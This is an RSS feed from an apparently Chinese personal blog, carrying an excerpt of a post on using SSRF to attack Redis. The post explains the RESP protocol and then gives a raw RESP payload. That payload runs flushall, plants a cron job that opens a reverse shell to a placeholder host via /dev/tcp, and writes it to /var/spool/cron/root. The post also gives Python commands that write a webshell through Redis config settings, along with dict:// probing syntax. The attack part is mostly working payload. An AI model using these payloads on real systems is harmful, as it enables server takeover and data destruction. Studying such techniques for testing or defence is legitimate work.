<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>2025 on chleynx's blog</title><link>/tags/2025/</link><description>Recent content in 2025 on chleynx's blog</description><generator>Hugo</generator><language>zh-cn</language><lastBuildDate>Thu, 09 Jan 2025 02:06:46 +0800</lastBuildDate><atom:link href="/tags/2025/index.xml" rel="self" type="application/rss+xml"/><item><title>ssrf打redis</title><link>/posts/ssrf%E6%89%93redis/</link><pubDate>Thu, 09 Jan 2025 02:06:46 +0800</pubDate><guid>/posts/ssrf%E6%89%93redis/</guid><description>&lt;h1 id="ssrf打redis"&gt;SSRF打redis&lt;/h1&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;思路：常见方法使用gopher和dict，执行redis命令，然后通过redis命令达到目的。
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="前置知识"&gt;前置知识&lt;/h2&gt;
&lt;p&gt;RESP 协议&lt;/p&gt;
&lt;p&gt;RESP 协议是 redis 服务之间数据传输的通信协议，redis 客户端和 redis 服务端之间通信会采取 RESP 协议
因此我们后续构造 payload 时也需要转换成 RESP 协议的格式&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;*1
$8
flushall
*3
$3
set
$1
1
$64



*/1 * * * * bash -i &amp;gt;&amp;amp; /dev/tcp/xxxxxxx/xxx 0&amp;gt;&amp;amp;1







*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
quit
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="1写shell"&gt;1.写shell&lt;/h2&gt;
&lt;p&gt;直接通过redis执行命令写文件。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; commands = [
 &amp;#34;flushall&amp;#34;, #清空redis
 f&amp;#39;set:webshell:&amp;#34;{shellcode}&amp;#34;&amp;#39;, #写入shell内容
 &amp;#39;set:dir:/scripts&amp;#39;, #写入目录
 &amp;#39;set:dbfilename:visit.script&amp;#39;, #设置镜像文件名
 &amp;#34;save&amp;#34; #保存写入
 ]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;一般为：&lt;code&gt;dict://&amp;lt;host&amp;gt;:&amp;lt;port&amp;gt;/info&lt;/code&gt; 探测端口应用信息
执行命令：&lt;code&gt;dict://&amp;lt;host&amp;gt;:&amp;lt;port&amp;gt;/命令:参数&lt;/code&gt; 冒号相当于空格&lt;/p&gt;</description></item></channel></rss>